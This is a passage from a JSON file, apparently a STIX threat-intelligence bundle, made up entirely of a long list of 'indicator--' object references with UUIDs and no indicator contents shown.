        "indicator--08c73961-291e-4a3e-9d34-85ef01c33972",
        "indicator--1adc8e90-c1ed-4d11-868c-ca4dbf69784c",
        "indicator--6b3ccc9f-b0b7-4352-a725-84d4458b898b",
        "indicator--2918981a-c194-4a84-af8c-a7e90864224a",
        "indicator--fdddc31d-3d0e-4f82-859f-6b03e8d9750e",
        "indicator--882498d0-1c9e-469a-a690-f550f6637f6b",
        "indicator--a38b2ee6-916c-43be-87e1-1fe4dc76591f",
        "indicator--b206058c-a9d6-4335-916f-f3d09f2f0f6f",
        "indicator--a169b195-e280-4047-a67a-c5be4d3f3816",
        "indicator--c6144a7e-f713-40b6-8876-8d9270380aad",
        "indicator--1efca272-54a4-4760-9a36-0441720ceebd",
        "indicator--fe695f2d-a143-4d53-9ff5-cda847ef5901",
        "indicator--4e36bcdf-2eaf-4b74-b55c-6c0694d986d0",
        "indicator--1efd7085-53d3-4a4d-a91d-d83599ea414f",
        "indicator--5f6fb5d8-ce28-424e-bb38-745c9d7dc37d",
        "indicator--556ae342-477b-40fd-ac7b-3ad0b3576d73",
        "indicator--b62711c0-bc0a-4e39-9230-2214d5ab1227",
        "indicator--1978332c-47c0-4ae6-b729-591f002127c7",
        "indicator--d9ffb119-545f-4333-a4b8-2d9b3e3397f0",
        "indicator--348595e5-ab8a-447b-be53-f3875c802155",
        "indicator--4565845a-a40c-4578-a541-f050d55ec552",
        "indicator--3d724f8c-9257-4c4e-929f-a8979958064a",
        "indicator--eb62c164-696f-44d7-8022-dc0e1289c228",
        "indicator--e975a8be-35e5-4c5d-ab61-4b3900a2284f",
        "indicator--97d86112-b281-4d92-87b7-42a0247e07ff",
        "indicator--c1607571-fa42-42ed-bde6-4fc552bc475e",
        "indicator--eb580acc-1755-46ae-abd5-4b8b6f805f50",
        "indicator--e22e3ddf-e953-401e-926f-c7ecbcb65c06",
        "indicator--86baf6ca-3636-46e0-bca9-78ddf6efa5ea",
        "indicator--eb5493ce-3dfe-4283-916c-1902397f1e38",
        "indicator--08546dd4-da57-40c8-8da8-62958b807ec0",
        "indicator--16d19770-aba5-4d02-a1c5-66b26bf62b85",
        "indicator--fd40e13f-93ee-4e2c-b39b-aa20ce7bdbe5",
        "indicator--d4ead220-ebe0-41e6-beee-26028030f8db",
        "indicator--5007d563-1578-4124-aee0-23b774c7f0ec",
        "indicator--b4198849-77e6-42cc-97d0-8b62f3287979",
        "indicator--aba1845d-4e41-4418-b51d-9220e7ee36c8",
        "indicator--fee49a77-272f-4b62-984b-d340476aedf6",
        "indicator--da507950-a9ce-46b4-b0f5-189c4db90778",
        "indicator--81bdf9eb-8a70-47b5-8ad2-9f28071bf2a6",
        "indicator--c461fc17-8b63-42c8-9541-e58bd1758345",
        "indicator--e6e409da-0f37-4eb3-8e30-6bbb363b7164",
        "indicator--aba9bf4a-3beb-4841-b1c7-fb4cc32e368f",
        "indicator--8099aef1-c13c-4a79-9fcd-2647829df410",
        "indicator--780ba988-390d-46c8-9d98-2bf9be2a40f5",
        "indicator--6cb93448-e7fe-4497-90ca-09aaab290332",
        "indicator--a42f2a43-b41a-4f51-a680-5a4e08dc1cba",
        "indicator--dd1ccf20-e62c-408c-8493-a498bb8b0c9a",
        "indicator--d59cf57a-018a-42fa-a17d-da7eedc7b52e",
        "indicator--59c71bfe-6daf-4866-a138-6c3f3495c0f3",
        "indicator--bc02ce11-79b1-4ba2-90a1-1d0f10a9b41c",
        "indicator--36514f23-5670-4d3a-abe8-3a787f54e6cf",
        "indicator--c7859c91-c1f2-4bbb-86ae-80df9697ec18",
        "indicator--55815bbf-868e-4ded-b187-e5e5737a28d1",
        "indicator--1de736e1-21fd-4b06-bd24-4b854d93b0fe",
        "indicator--251618a6-0880-4611-bf96-de082e45850c",
        "indicator--bcbcd5ba-a14a-4c2b-81bb-12160d6c0d12",
        "indicator--7dc4ca20-25ec-454a-812d-5bc68907db40",
        "indicator--37116708-9b69-4ad7-a612-596a4092e0db",
        "indicator--194c3594-7a75-4682-813a-8e0238dd95e5",
        "indicator--9cc04749-1365-4a3c-86bb-24f2827c0607",
        "indicator--7a761852-f30a-4208-a259-d602f3a7c10f",
        "indicator--a0c305ee-ac6d-4093-b2b1-cf596e8af7b8",
        "indicator--0e02c810-f945-4b0c-a963-9e6970487d34",
        "indicator--ece9cc9a-82da-44a7-b4f2-3828b7628597",
        "indicator--a3601b3a-edbd-4d57-92ef-625428d45768",
        "indicator--ac3de328-67c1-4a89-ae42-bb8c381e94a0",
        "indicator--bdc3d9f7-ad56-4985-86e5-886abf36e00c",
        "indicator--317a7732-095e-444f-ae8d-fe6a5ab4d426",
        "indicator--8e40ff95-164c-47e2-b12c-a9eae8bd165d",
        "indicator--07ac6dba-1093-4d2b-a2d4-f9bc0dc40c24",
        "indicator--a43cffcf-2437-441b-9db7-1fc72408ff87",
        "indicator--e2def906-d34f-422b-96b1-ba6b0257312d",
        "indicator--ed525647-fb8f-4e27-b73f-bc628b8d5530",
        "indicator--48bc9856-68db-4fbf-a6b3-736fdd7df07c",
        "indicator--62a39e0b-5f5d-4494-9f6e-cb74d26565b2",
        "indicator--b5be154f-8e67-4928-8e05-0baf34e11d01",
        "indicator--c7d84242-6a27-47ae-8646-162c72226af9",
        "indicator--5feac165-363c-4ba6-bd0a-fce4dcc671ff",
        "indicator--586f369b-95b8-4abf-b4b1-ec57c236457a",
        "indicator--d7311ebd-fc08-46dc-a0c6-aaf9604876a6",
        "indicator--9d57e7e1-b092-48d9-8424-935f4cf2d943",
        "indicator--eabb7954-572a-49e4-80f1-f1b3ff0637a7",
        "indicator--1028da8a-4771-4143-8822-680d957116aa",
        "indicator--07897edb-8789-4cc6-907e-9a8f37dc0542",
        "indicator--354a1a16-8e47-4364-9fc0-e3044ea7d215",
        "indicator--8effbd6a-6464-4ed2-941e-73d574c67d44",
        "indicator--2723c26a-e70f-49da-8abe-718259864560",
        "indicator--b5a44f11-2e59-4954-b46f-66446bca64af",
        "indicator--0558dfa0-21ed-4d11-ba75-c71ba5c70901",
        "indicator--062e2781-18c6-4e81-ac91-302f66c55238",
        "indicator--22365f69-1d12-48f5-ada1-099ff02833b7",
        "indicator--d0394e4d-3d4a-472e-959e-430bf98c8c65",
        "indicator--9248d36c-9b27-40a6-b981-a5b8f64378bd",
        "indicator--982862e1-dc32-46b0-bb12-70904ef77f9a",
        "indicator--a4858398-2b98-46d3-976a-2f5d1380728b",
        "indicator--7955fe28-46ee-472e-af1a-5ed81731fe14",
        "indicator--70e72fdf-bb3b-4627-a2ef-3416ffbdf937",
        "indicator--4275e482-bf2a-4705-8310-6bf28bc06f1e",
        "indicator--238bdc8c-2602-4e66-a8d2-34bd5b4d91f4",
        "indicator--48861b80-2455-458f-81ff-c2946c953bfd",
        "indicator--15b67a0f-ba03-4c95-a82e-fedb7b033420",
        "indicator--c9bedd11-7463-474d-b927-3b767d338dbc",
        "indicator--eda12541-9463-4c55-93ab-f1807a9db339",
        "indicator--9ca0b474-a219-4c29-84d9-37a318522024",
        "indicator--b8248bdb-b7d7-44f9-8ea6-7deee3d773f1",
        "indicator--a2f9f849-48e4-4f59-8d8e-c1ee66218832",
        "indicator--93bdcb5b-faec-45f2-9380-41bb631a4419",
        "indicator--298f2abe-5894-41fe-b7f0-98f395eddbee",
        "indicator--d8aadce4-9c8a-49e6-b452-0293678ddfbf",
        "indicator--71e6b695-5aff-4540-8598-70827f83f6c5",
        "indicator--1092deed-1c6a-401e-9698-31b350dcbb56",
        "indicator--cb5c86cc-71b1-473c-bd31-df0ccd806634",
        "indicator--f06b536c-9c69-4838-b549-f5fe53bd2b33",
        "indicator--54e09d3a-8687-445e-b6fc-db992f1d06c9",
        "indicator--1bd2a3cd-e9c3-4636-a7db-9aac4c2230a3",
        "indicator--05dbacde-ec76-4bef-97c6-74308596c4c2",
        "indicator--46785905-12a2-4c38-b5a3-9f0e06ae4ec3",
        "indicator--e2194fb4-5dae-48a6-93d0-df32e1155f41",
        "indicator--3be0d251-2139-49ea-bb4b-ab989a69b41c",
        "indicator--f796814f-ef3f-4348-b6a3-b676fee72369",
        "indicator--f56dda76-192d-40e7-8f82-6d49c216e93a",
        "indicator--e8560936-df8a-4c30-9f4d-f0d05a3ab99b",
        "indicator--4cb9f294-aa68-40f0-a6c6-e6e5675d28e0",
        "indicator--863ff05c-1a4e-406c-b470-0c563d2a60a9",
        "indicator--7d8fbd44-68ea-4521-a54a-3d00e14d6372",
        "indicator--0cf80a4a-abce-42b9-8eb3-7075aa5da879",
        "indicator--df9477e5-4e40-4104-819c-434503cf83bc",
        "indicator--95b6d5d7-6e07-463a-8be1-1c13f3668b9b",
        "indicator--4ea05228-b316-4d56-a5d0-cffdabc7438c",
        "indicator--25884f6c-e24f-4a8e-94e2-a8841db8c2ee",
        "indicator--fd26dc13-ddb7-446c-9c90-1b2226ff51f5",
        "indicator--3e1856ee-7e1c-4e54-a005-68730cce884d",
        "indicator--7e9d6a48-d333-4b45-bdb3-16cdbf7263f3",
        "indicator--a2a68edd-ebf5-4fa0-a701-da4ea5b0b9bd",
        "indicator--d3bdbfdb-2e80-4676-8f0f-98af4189fda7",
        "indicator--6dfae003-e14b-4913-a5e8-3b2405b62d2d",
        "indicator--810f9b2a-f25d-4e45-9b2b-f739d9a438b1",
        "indicator--0d058f24-50e0-4002-873e-de865c7e5a4f",
        "indicator--15d8e56f-7113-497c-abdc-26a66a325d87",
        "indicator--1a956d90-8e8d-4679-8576-55d7e729c976",
        "indicator--4938cf5e-eef7-4ddd-9e72-22eeee0720ec",
        "indicator--e7375457-3ccc-40a5-b9f5-3f0459967d1b",
        "indicator--7afd990b-3bfc-47b3-be25-538caa7ee131",
        "indicator--c6b0aa22-8491-43f3-b7e5-c621f5f46da4",
        "indicator--84c5e6b7-f727-45dd-8f2a-3cb0c3a38972",
        "indicator--1ef7a277-8d27-4441-8a26-d99ea9506f3a",
        "indicator--c7f1f482-a722-4060-99a9-01ac2835cede",
        "indicator--cf71f66c-8a57-45d5-bdfb-e481a7c6460f",
        "indicator--914345f2-6167-4052-b00b-f8373fc6196f",
        "indicator--b4cdc560-278d-4ec3-8f7d-3c1a8894693f",
        "indicator--07e0b60b-1f20-40ca-8aaa-110c0a63afef",
        "indicator--2c338591-05ed-4f33-82c9-e3dcf1010c6b",
        "indicator--8f972d20-f8de-4c43-8a1c-3575e3403279",
        "indicator--d88697a6-386c-4b06-bbf2-d3fb30847576",
        "indicator--6214eae6-e403-4413-a5ea-b2d9be899e7a",
        "indicator--a7bd9725-e481-43b1-ab3d-db6e21486ac1",
        "indicator--84e8a888-23cc-48d9-b3ab-2dbd44988272",
        "indicator--99f5e7ae-eeb8-42d0-a27d-9de7320e3bd1",
        "indicator--ae475eda-c525-4f15-b89b-8f843c7996ac",
        "indicator--7abdebbb-2e3b-486b-b380-79c569e02e55",
        "indicator--89c98d2c-9efe-4825-9625-79affa0eb775",
        "indicator--d24132b6-5c5b-484c-b5c0-1981c52e31e6",
        "indicator--7d7eb3da-7816-47e2-96df-062253433da1",
        "indicator--598ecdf8-19ca-4ca4-beea-f2eb968d82d4",
        "indicator--472edd72-b7e7-436d-b617-6b97bc86fd44",
        "indicator--7d3d3664-f86a-498f-b62f-847151fb05a5",
        "indicator--81b31d49-adb1-4c68-8db2-8bdc7f61e0d4",
        "indicator--a4d13a91-5be8-49ac-a0fa-d4dd9e69b116",
        "indicator--35ce3e07-9a9e-49b9-82f2-f21af79bf7eb",
        "indicator--f1eafaaa-c37b-467f-9f1a-445b7b761b09",
        "indicator--61ffe912-eb98-49bf-a033-ea380be52d35",
        "indicator--edb9127a-6b08-47f8-bdba-0ea1a096d665",
        "indicator--90715f18-188e-474a-ac28-9c53aafbbb2c",
        "indicator--5ea5a271-9e38-4f11-993f-d7263f528e0e",
        "indicator--4fe4ce64-2ae6-4638-8a6a-1b4ec69cfd40",
        "indicator--93e73b7f-aa94-47a3-95b2-a7abdcb73b5b",
        "indicator--fac587e5-2ba3-45d1-b486-717e0b5be4ac",
        "indicator--44afcb42-d37f-43c4-9322-f3d3044743ba",
        "indicator--28789c46-4d37-4cb8-94df-1bd827f49cf9",
        "indicator--c046778d-3313-4599-bd8c-a7665eca08e4",
        "indicator--f05d8fbc-6381-48a1-86b8-ae2b04a1fe9d",
        "indicator--268ca0b2-93e9-43db-892b-2782a062f65f",
        "indicator--610ca676-8123-4232-9915-98f580ef6f63",
        "indicator--d0d7a3e6-5845-49fd-8c0f-30b318af515d",
        "indicator--fa8f7016-f120-4cdf-8d8d-4d6a1eeba64a",
        "indicator--a6a169cd-c4a2-41c2-9e9b-a7ca71199045",
        "indicator--34d348a9-f71e-4ec7-80f9-9290795f668d",
        "indicator--917ba651-0b71-4570-bf4b-fc18d824b06c",
        "indicator--ed89394f-a113-4770-aa6c-c6452a3f45c5",
        "indicator--2650cefb-0449-4b30-b911-7a9b7f3d6cad",
        "indicator--4519ecb3-4453-4894-9c18-cde99d7c4ba0",
        "indicator--7a216e4b-4674-4392-adc4-b6c0cf587b2b",
        "indicator--7222bbd1-8120-4140-aec6-687ea8730983",
        "indicator--a7eef098-8906-4ab9-9a6e-16fdc5b507d8",
        "indicator--36e19497-dce2-44be-b352-95a1a977d843",
        "indicator--5578376b-eb5d-4320-80de-0bd7ff653151",
        "indicator--765b65b3-d7f9-4d11-b19e-06dec03717b7",
        "indicator--6de113a5-feca-441e-8e69-6756de73dd74",
        "indicator--8d869beb-a45b-45bc-9e24-6fc64d8b135f",
        "indicator--9284d899-e7e0-4258-9b69-31723204c42c",
        "indicator--2b2ad8fe-24ba-4df7-aa20-26b33c6a5763",
        "indicator--1a4e9fa6-4c2a-47a0-a802-34ab2e2564e1",
        "indicator--4b70d9a7-2040-47b1-a925-1c53c21c5080",
        "indicator--28b0621a-c750-4864-8685-c5a28b086091",
        "indicator--ef23a9e8-1bd8-41a1-b282-c9b871c4cb64",
        "indicator--967e3337-2640-4291-b8c8-7da9c5754276",
        "indicator--471c6c0d-184c-4120-84c4-7e36f2bee5f9",
        "indicator--fb44fe46-2cc1-4670-8b0a-175b66233d37",
        "indicator--c309c8b1-51f5-4100-98d4-1f9c4f158343",
        "indicator--3104c1a9-1dbc-4289-b558-179dac5a9199",
        "indicator--7963fbb9-bd24-425d-ae9d-6525a3ab722e",
        "indicator--db9c8cff-bc9b-41bb-b4ed-f164caf41f71",
        "indicator--2d65be8a-d1e9-4597-b36a-05d246626f3d",
        "indicator--ebbd5650-1789-4229-844d-ea5837d37a1e",
        "indicator--09773798-a063-4dd6-9049-0efc4b62e40b",
        "indicator--8381c22b-5aa9-4a55-9966-f9bfecf84828",
        "indicator--ca24d4e9-4100-487c-a71c-7cb06b283511",
        "indicator--c502d65f-01d3-4a8c-bcf9-7dcd9a3b29ae",
        "indicator--bc2839d1-4319-46d3-b8d0-6849e01032e8",
        "indicator--0a674082-d8e0-406e-8a54-65517e8c2a7b",
        "indicator--21963fa6-935b-4c3f-9c17-5d71ac2da0aa",
        "indicator--9ef2aa94-3cff-43fc-8d01-d3dc90578f92",
        "indicator--e716a9ef-b5a9-40ac-9065-cf6a8fcc340f",
        "indicator--cd25da6a-52a1-43fc-82ab-9d2cc6e0d261",
        "indicator--00c29172-7ee9-468a-8aac-3bf645e20731",
        "indicator--9956f8dd-40ef-4352-bacf-b891c5ff3fe9",
        "indicator--85fc5268-81dd-48e0-9294-c55e9afc1e20",
        "indicator--763c1fc2-98b3-4b74-a798-0b1140035a05",
        "indicator--4383e406-b58f-43cb-93a0-a3be2555e1c8",
        "indicator--c783bd16-8532-4c19-ab26-384da2ce7788",
        "indicator--9a1848e9-e412-4a58-8b52-62ec68c13075",
        "indicator--dc1afe05-773d-4cd0-9378-b5a597e26604",
        "indicator--b83d1d6d-a97f-4f52-ba07-e311a4950a80",
        "indicator--c106203e-40d2-43d0-940b-d7bc92c752bb",
        "indicator--88dbfe35-df86-4d6b-91dd-c7c56655afb0",
        "indicator--bdd40224-5744-44ef-8f3b-cc320cc9f6bd",
        "indicator--5c983f85-df06-4a96-8761-4b37cd13e45e",
        "indicator--a5c97012-c11f-47c7-bd46-79ec09777b7f",
        "indicator--37ddb847-09ba-4c5b-99f1-f13a9dc2e665",
        "indicator--428b29a4-851f-4d1f-ab39-1332929940ab",
        "indicator--acd08852-84d4-4a2f-807c-be93fc01a87f",
        "indicator--0e1ff5c8-4d9b-4b4c-bc9d-db1002626a0e",
        "indicator--31dfedf6-c54a-4ea8-bb12-11aa6187395f",
        "indicator--2961f5b3-2c93-43d5-96f8-3129a8a7625b",
        "indicator--120cd1f5-ff65-4cdc-87bb-36671f32d6a6",
        "indicator--471facca-9c40-4c12-b8af-72360e6ae529",
        "indicator--1b9e5462-4ce4-4f75-944b-070e719ceda3",
        "indicator--31eec78b-4911-4d02-8372-be3560098082",
        "indicator--fa4a5b4b-2689-46dc-ac37-cb42076112b2",
        "indicator--4b559977-fe68-4bbd-9181-f0c09f735b33",
        "indicator--05d53341-7dfd-4538-a4d6-06f91fa83b03",
        "indicator--864d7617-a77f-4c23-a29a-4d7e890e5d8e",
        "indicator--01090226-d4de-4599-ab2a-430fe038ce17",
        "indicator--5534e843-8c36-44ff-8114-fbb14e4a9dc5",
        "indicator--0db30f23-2617-49bb-b816-75212ce7f232",
        "indicator--a2d3f214-d5d6-4eed-9087-9e3d11981e14",
        "indicator--e05d9af0-a417-4db4-95cf-775582e977eb",
        "indicator--337e83e7-21a0-43c2-bd5e-0c69b9cddea8",
        "indicator--f35d59fe-0962-4273-80b5-8646aafc8725",
        "indicator--072f1539-309d-42ee-9aba-fb92af4a569f",
        "indicator--aa53af59-7d0c-4f50-97b1-d62cb35b0000",
        "indicator--b40219b9-e165-46e8-8d20-59713182b687",
        "indicator--66b2d4e1-2b9b-4172-b2d2-801aba69b9fb",
        "indicator--63926184-a1a0-4817-884a-d23ce26696f8",
        "indicator--a9ced9ad-f832-4ee8-bc21-a35aa86ef916",
        "indicator--4fc89db2-084d-4d68-b27c-d45f0d01ac4a",
        "indicator--9d6e2620-4476-4ff9-91f7-c5701abdccd7",
        "indicator--8154ef13-56de-4240-b33e-c731d7a1f774",
        "indicator--237a5eac-c62a-46d3-b048-a6c7bd46672e",
        "indicator--e920aaf5-a06a-4e81-bc8e-e6f2c1045fdc",
        "indicator--abf62690-6e07-4624-9aa2-065449bffdcc",
        "indicator--711c88c2-54c6-4225-b8aa-588cb0df74d6",
        "indicator--c2f78244-738f-46cd-b016-cb01e0460cf5",
        "indicator--cd8243c4-0e98-462e-827f-f42ad0ea0ce7",
        "indicator--57f84b75-0823-4991-ad64-7fc539057f06",
        "indicator--d1f39cea-e9a0-48ac-b1ed-06cdce0051cc",
        "indicator--1b680889-4778-46f5-93be-3ed2e98c915a",
        "indicator--87910225-e211-43d6-8e0f-36badf0a456e",
        "indicator--e72f7631-d943-45f3-9132-5f8471ded8ad",
        "indicator--716430f4-59b5-44e3-872c-c805327fc8d2",
        "indicator--358b12ed-08c9-4463-8fdd-151ad2bee7ee",
        "indicator--696ccc7a-3399-47e2-8dbd-2ce2df116abd",
        "indicator--813ae04d-4f53-4644-a259-53e2c1057a08",
        "indicator--32c5d53c-3864-4873-96e1-5647e01c8886",
        "indicator--f3c7133f-5490-46c7-adff-80145751229d",
        "indicator--8bbffd96-f8ff-439e-a073-cfada675b9ee",
        "indicator--2ba974bc-4f8b-4381-af0c-a4a2d62a1985",
        "indicator--465bb9f3-9c76-41c6-bced-30b2f01f0ca1",
        "indicator--653977e4-4221-4e55-9ce5-a337fa97c5d6",
        "indicator--44ffd993-d747-4c2b-bd77-a47803f44b66",
        "indicator--95058415-0dd3-41d0-999d-a04738767a74",
        "indicator--aa8edd00-87d5-48c0-9c35-37f3119e0e81",
        "indicator--513d89ce-0e12-4f5b-af64-7587abe17193",
        "indicator--700c0fc6-02ce-44e0-af45-98222389b794",
        "indicator--71dea1ea-ec2a-4b40-9443-a0a2e5f16435",
        "indicator--e60e0123-03d6-447b-8044-d04e66dfa463",
        "indicator--6b4bf22f-3942-4970-9cda-11129c51792a",
        "indicator--219fc22b-50ef-4492-b1d5-0aacd7ba0c09",
        "indicator--a930e69a-0147-483f-b038-429ad8db1776",
        "indicator--ee7992e9-da1a-4e0d-a823-9b5af1275414",
        "indicator--545f96e5-488e-4e7c-82d4-b2624e57db54",
        "indicator--58aa1c82-ce21-4f4f-ab08-3f2ab0260fe9",
        "indicator--e7165df4-de32-491d-bd33-b66a17373e9f",
        "indicator--43dd7559-7ad9-4719-81a0-0411cc863f92",
        "indicator--e4be410a-b276-4594-a363-010c4819c751",
        "indicator--52fd5203-7bb9-4def-9b14-9bbe516e2d47",
        "indicator--67d229f0-0bc1-43c4-95a7-ff0be8b306b8",
        "indicator--8f908d02-8496-43e8-8007-1989d2d88b2f",
        "indicator--f6b54341-6ccb-4525-82ba-06e128a31654",
        "indicator--6940bcf2-4582-4efa-a576-705771ffaab6",
        "indicator--4f016416-97a2-4e18-9ede-5c0aca8ff745",
        "indicator--4014f63b-b1e2-4fb3-9470-b880f37c0442",
        "indicator--abf03ba4-0602-4b20-a192-d161c1793234",
        "indicator--a9b79176-8859-42de-aea3-b3afe98f9245",
        "indicator--b8a59aaa-3432-45d0-9823-6ef91198e699",
        "indicator--99428d30-e365-46ea-a0fc-44218fd39063",
        "indicator--050b4e0b-d205-4b13-980d-7613c8db13bc",
        "indicator--5583dae3-eb76-48c0-b7ac-b6b59e51e745",
        "indicator--0f2164f7-802d-41a8-a11d-df8956a6dd21",
        "indicator--e4921980-6d27-42de-ae30-4e4de565c91b",
        "indicator--f0eaddf1-0cc5-43de-9ffa-b5ee2d67531d",
        "indicator--db1e2e6b-3067-4ed6-a592-1409d00e4ac7",
        "indicator--b60cd0b4-ac04-4c07-820a-5ded2fb274dd",
        "indicator--84b3e2a4-eaa6-4b27-85a5-2a75fda4083e",
        "indicator--cc7d0f4b-8119-4cff-b155-e178271f306a",
        "indicator--39cb7bdc-d8b5-454a-8e9a-5a545656b3e7",
        "indicator--70c3af93-877f-4c47-9189-3460ad244c7f",
        "indicator--fe9ae4ef-2037-4e2b-bb99-21a994b93c7a",
        "indicator--74d86204-3baf-466f-8dd6-40d2657c3095",
        "indicator--51de78fb-cac6-4eb9-9e35-b32089ea88f3",
        "indicator--cce638e5-28a7-4e05-b807-b953d1453bfe",
        "indicator--a7295f0d-1c4c-48c8-a575-7ad0f1e78f93",
        "indicator--7247f046-194a-4aec-9d18-3192c40ed873",
        "indicator--edbc6fa2-87ef-48b8-91ef-eec41bae313b",
        "indicator--2141fba3-dc20-4de2-9f76-db056369e9c8",
        "indicator--efc87c8e-810d-4545-a7bd-fdd589eb6f89",
        "indicator--81b9bfd7-896d-428a-bee4-dd8bab50eac4",
        "indicator--88cdec28-47f5-4f0d-bdfb-09ecb87ec8d6",
        "indicator--2be4426e-a4ed-4d49-8835-b295965575fe",
        "indicator--61f35dba-a4e0-4acb-a222-f8cf645a4a36",
        "indicator--a74d0342-24ca-4af1-a5be-637797dd8680",
        "indicator--743e869e-8ece-4953-92f9-a5f1544f9ca3",
        "indicator--45e97772-b791-45f8-9998-d939d74319de",
        "indicator--35ac1a59-a3c9-43b5-af0c-259daa05044a",
        "indicator--5684d6c5-b224-4877-9a2c-6d102994a778",
        "indicator--ca950a27-7f7f-4050-ad9a-252ee5da3a33",
        "indicator--a21ee395-ff9e-40d5-8b4a-04b0c1f649c8",
        "indicator--a018de77-ae71-4044-afa4-e6492bf77250",
        "indicator--39341a5a-2d48-41df-b7eb-696e7b987758",
        "indicator--dbc75541-d2d2-44c9-a0fd-5e763881d78b",
        "indicator--10c56676-8514-4c25-8d31-9bc73d9232be",
        "indicator--158679e5-5b15-4eae-b019-177f3b3d1b5e",
        "indicator--4e6b2942-dc51-4fa9-94b2-2ba3f4e5b03c",
        "indicator--b611f954-3510-405e-ae05-3c185db2b5f5",
        "indicator--a2d2fb84-936f-42d6-8edd-778966c8e329",
        "indicator--dc30a028-a9c7-4e11-b423-84264b3c002b",
        "indicator--2db96f40-5ef5-4563-b65d-264fd9b7d9ce",
        "indicator--20e87c7b-68a5-4141-9cc4-ed3a44c884c2",
        "indicator--6169aa37-4c72-4f68-b5d5-88ff2f18837b",
        "indicator--a6049f24-8650-4273-9511-0542ebef210c",
        "indicator--4f9f4eaa-aeba-4215-864a-ef04503d1542",
        "indicator--c5cd1e79-bc68-418b-ad75-bee6efa36e76",
        "indicator--77d629ca-aaf3-4787-918c-f9195687a239",
        "indicator--ed036b02-857f-4942-bcf9-ccce2ee26aea",
        "indicator--840cdf6d-1ef5-4d55-95dd-11a6c66c48f5",
        "indicator--d962f10c-29b2-4942-a11d-9ad3afc585e5",
        "indicator--9cf3bcff-802b-41f5-b356-def4f13658f0",
        "indicator--1769acce-9c62-4b25-a0fb-91f2888c20d7",
        "indicator--587533ea-4808-4f7b-86ac-90762130d471",
        "indicator--3f33ff1e-aba4-431d-9f6c-e154d659bb00",
        "indicator--a43feeea-a2d8-4a8e-928c-5b525b8a1c58",
        "indicator--c3dbf1b4-36aa-4d9a-a6ec-3a5689c255d2",
        "indicator--3d8eb323-1d99-4937-b810-c2e9715d8241",
        "indicator--b3f47692-63b9-4c52-a17f-7861a685bf9a",
        "indicator--348c78cc-a1ac-451f-baca-2bb027de8c7e",
        "indicator--7b45c904-6ddc-4ed5-880f-2c2846ce8027",
        "indicator--af0bbce0-a821-4aca-afad-5e00782e1cc3",
        "indicator--2fe09a7b-9690-4a79-a949-55b45f48996f",
        "indicator--44816fff-b980-46df-8cc1-b21334e2b73a",
        "indicator--f322e122-38a5-40f1-b75a-060e55b61060",
        "indicator--5c2004f3-df41-4b8e-9007-0bfa6ee8fb06",
        "indicator--f49d4ede-7c08-4a3c-95e9-4712371d5ce1",
        "indicator--54e87770-382e-4fc6-bd2a-f568314b761f",
        "indicator--b5cd0c26-78b6-47a1-a1c4-8303d850fd18",
        "indicator--ed321f9b-cced-4cf5-aeec-73230066832d",
        "indicator--40f61673-2a3a-41cc-b760-9784a9c65f06",
        "indicator--ebb5f9e1-f3de-4d67-b9fb-8ad5bd37ffc9",
        "indicator--c9afe481-efcd-4afe-8000-699c4a315fa7",
        "indicator--4b725b5a-5152-4ca8-a071-19ac60026ac1",
        "indicator--b0b8dfe8-405b-4dee-8fb7-9d65401d41e9",
        "indicator--d627d7a5-e0a1-4d81-ab6f-5ed97f1f8fd1",
        "indicator--7cde9468-2160-4272-9fff-7160cd26b8de",
        "indicator--c8865566-2839-4b77-af34-5a4aa6780891",
        "indicator--5ea02e1a-9aa7-4500-af81-8be57d138995",
        "indicator--d0fb12f8-cc38-408e-8beb-88d75bbcc094",
        "indicator--7bec27a9-a5fb-401a-95a6-63fe0deb7b57",
        "indicator--7b8acedc-b9e6-41be-b64e-39bbb8856ca9",
        "indicator--3b89ead4-2d44-49ae-b522-b31869932568",
        "indicator--97da2117-0b3a-4165-8525-6679d11675b6",
        "indicator--3ff12fd6-b874-4280-a0ea-c5c8712db070",
        "indicator--815ef2a5-61a1-4d39-bfae-0a073c702bd8",
        "indicator--c04f210f-7d88-445f-8808-aa7785b20d72",
        "indicator--e397478f-c840-4cdc-aea5-61abb58595a4",
        "indicator--9685ccde-51cc-4164-9f22-0c05ec6e0738",
        "indicator--bf298719-fc5e-480e-bba1-52e19b350ae0",
        "indicator--09ce3d74-69b5-4a98-952a-7692641daf2e",
        "indicator--dbd58990-a8fc-458b-9b25-bbc7e57a54ed",
        "indicator--8f6613e1-1c41-402c-b72e-4160b7551e8c",
        "indicator--e29d6fe7-9102-4aed-bbb7-7ac0edda2713",
        "indicator--068865b6-acad-414a-92f4-86be4919fe58",
        "indicator--a8761d3b-b2a1-455f-98d2-54ce6723db4a",
        "indicator--1ddead60-cc41-4242-bc13-1e77175c2e54",
        "indicator--865f521b-18b2-4154-88d4-17430a1da95e",
        "indicator--efac84ad-4936-42af-aec5-cab69888d2c5",
        "indicator--a10524b7-fd4c-403d-8d2d-a5918682a13e",
        "indicator--becee020-3095-4677-86f6-bbe7d516e648",
        "indicator--3e09d45a-e745-4c65-b7d4-e4d1030e427a",
        "indicator--0667f311-919b-4e6d-9486-2f775d05f104",
        "indicator--73d0379b-f5f8-4b3e-958d-6f6aca67cc7b",
        "indicator--a7b89498-16f4-476d-8ad2-781b9da161c5",
        "indicator--a59a4ea0-aced-457d-b717-23fa1249e757",
        "indicator--54e03610-bce6-43fd-9464-af7ab677301f",
        "indicator--c58f841e-a00a-425e-a81b-f6aaa736444b",
        "indicator--0ce4a807-31c7-4026-995e-8edb758d3b7e",
        "indicator--76092486-8b74-43d7-a2e6-230ef1e3123a",
        "indicator--15ae84d0-47a3-48c3-a350-41bc8c75067f",
        "indicator--1e5dca11-7a4c-49f5-83a3-7c56a2408c68",
        "indicator--2531ebb6-5779-4ae3-b16e-f69a87d0f28b",
        "indicator--e578f837-bd64-48eb-ba78-f048649ce358",
        "indicator--60f4bdbe-b2dd-430f-824d-f6d6840a8dee",
        "indicator--0074196e-6b1a-47a3-92a4-8824ff2061e1",
        "indicator--113fb9eb-8551-4793-8da9-d1c8dcf34121",
        "indicator--1a1fdd98-a134-4805-89b5-3c7dea35ab80",
        "indicator--a4a28fd7-6b7e-44c0-b1f8-3924e66f58eb",
        "indicator--1f129f5f-0c45-4ecf-9020-65cb4a749f04",
        "indicator--af7a16ab-e554-4bd4-bde1-eb5ea3b714a7",
        "indicator--59753719-8a39-43da-bdab-42ec1f16d3d1",
        "indicator--2e0909cb-8cc7-4b2a-b137-495de1d8f2d4",
        "indicator--5c5ea25e-543b-4d5f-9b52-a747e0ef58a7",
        "indicator--b2a5bc56-ef60-43ab-90c0-74263aa27675",
        "indicator--4465aed8-4926-4ebf-9122-5b7b340eb78a",
